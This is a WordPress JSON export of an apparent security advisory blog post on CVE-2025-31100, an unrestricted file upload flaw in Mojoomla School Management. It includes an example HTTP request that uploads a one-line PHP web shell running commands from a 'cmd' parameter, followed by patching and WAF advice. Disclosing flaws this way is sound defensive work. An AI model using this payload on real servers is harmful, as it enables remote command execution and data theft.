{"id":71649,"date":"2025-09-05T14:54:59","date_gmt":"2025-09-05T14:54:59","guid":{"rendered":""},"modified":"2025-09-28T11:55:33","modified_gmt":"2025-09-28T17:55:33","slug":"cve-2025-31100-unrestricted-file-upload-leads-to-web-shell-deployment-in-mojoomla-school-management","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31100-unrestricted-file-upload-leads-to-web-shell-deployment-in-mojoomla-school-management\/","title":{"rendered":"<strong>CVE-2025-31100: Unrestricted File Upload Leads to Web Shell Deployment in Mojoomla School Management<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-31100 vulnerability is a critical issue discovered in the School Management software developed by Mojoomla. It is a flaw that allows an attacker to upload files of a dangerous type, typically a web shell, to a web server unrestrictedly. This kind of vulnerability poses a severe risk to all entities using the software, from schools to other educational institutions, as it can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55731-sql-injection-vulnerability-in-frappe-framework-leading-to-potential-data-leakage\/\"  data-wpil-monitor-id=\"79269\">lead to system compromise or data<\/a> leakage. It&#8217;s imperative to understand and mitigate this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31713-a-potential-privilege-escalation-vulnerability-due-to-command-injection\/\"  data-wpil-monitor-id=\"79481\">vulnerability promptly due to its high-risk rating and potential<\/a> for significant damage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-31100<br \/>\nSeverity: Critical (9.9 CVSS Score)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54788-sql-injection-vulnerability-in-suitecrm-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"80195\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-577022303\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Mojoomla School Management | n\/a through 1.93.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability primarily resides in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41526-high-risk-sql-injection-vulnerabilities-in-hospital-management-system-v4\/\"  data-wpil-monitor-id=\"79236\">file upload feature of the Mojoomla School<\/a> Management software. It fails to properly validate and sanitize the types of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6079-arbitrary-file-upload-vulnerability-in-school-management-system-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"80599\">files being uploaded<\/a> to the server. This lack of restriction <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80775\">allows attackers to upload a malicious<\/a> web shell file to the server. Once uploaded, this web shell can execute arbitrary commands, providing the attacker with unauthorized <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24999-critical-sql-server-access-control-vulnerability\/\"  data-wpil-monitor-id=\"79621\">access to the server<\/a> and the ability to compromise the system or leak sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3484869515\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49532-integer-underflow-vulnerability-in-illustrator-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"86177\">illustrative example of how this vulnerability<\/a> might be exploited. This is a conceptual HTTP request to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54693-critical-web-shell-upload-vulnerability-in-epiphyt-form-block\/\"  data-wpil-monitor-id=\"81706\">upload a malicious web shell<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/file_upload HTTP\/1.1\nHost: target.school.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;upload_file&quot;; filename=&quot;malicious_shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_REQUEST[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker uploads a PHP web shell that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8420-remote-code-execution-vulnerability-in-request-a-quote-form-wordpress-plugin\/\"  data-wpil-monitor-id=\"82080\">executes any command passed through the &#8216;cmd&#8217; HTTP request<\/a> parameter.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The most effective way to mitigate this vulnerability is by applying the vendor&#8217;s patch. If it&#8217;s not immediately possible to apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on attempts to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42957-critical-backdoor-vulnerability-in-sap-s-4hana-exposes-systems-to-potential-compromise\/\"  data-wpil-monitor-id=\"79610\">upload<\/a> potentially dangerous file types.<br \/>\nRemember, regular updates and patches are crucial to prevent potential cyber threats. Always adhere to the principle of least privilege, and avoid giving unnecessary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31279-critical-permission-issue-allowing-user-fingerprinting-in-macos-and-ipados\/\"  data-wpil-monitor-id=\"81911\">permissions to users<\/a> or services that do not require them.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-31100 vulnerability is a critical issue discovered in the School Management software developed by Mojoomla. It is a flaw that allows an attacker to upload files of a dangerous type, typically a web shell, to a web server unrestrictedly. This kind of vulnerability poses a severe risk to all entities using the software, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-71649","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71649","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=71649"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71649\/revisions"}],"predecessor-version":[{"id":78972,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71649\/revisions\/78972"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=71649"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=71649"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=71649"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=71649"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=71649"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=71649"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=71649"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=71649"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=71649"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}